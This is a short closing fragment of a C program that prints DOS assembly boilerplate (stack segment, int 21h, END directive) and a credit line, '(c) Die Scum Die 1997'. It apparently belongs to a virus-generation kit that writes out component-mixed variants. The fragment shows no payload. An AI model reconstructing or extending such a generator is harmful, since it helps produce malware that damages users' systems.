        fprintf(stdout,"        int     21h                     \n");
        fprintf(stdout,"seg_c                   ENDS                                                      \n");
        fprintf(stdout,"seg_s                   SEGMENT BYTE stack                                        \n");
        fprintf(stdout,"                        DW      20 DUP (?)                                        \n");
        fprintf(stdout,"seg_s                   ENDS                                                      \n");
        fprintf(stdout,"END             start\n");
        fprintf(stdout,"; 7 Blenderized Components in order  %d, %d, %d, %d, %d, %d, %d \n",c1,c2,c3,c4,c5,c6,c7);
        fprintf(stdout,";              (c) Die Scum Die 1997\n");
        fclose(virname);
        rn2++;
        /*        printf("End of round %d \n\n",rn2);*/
    }


    return 0;
}
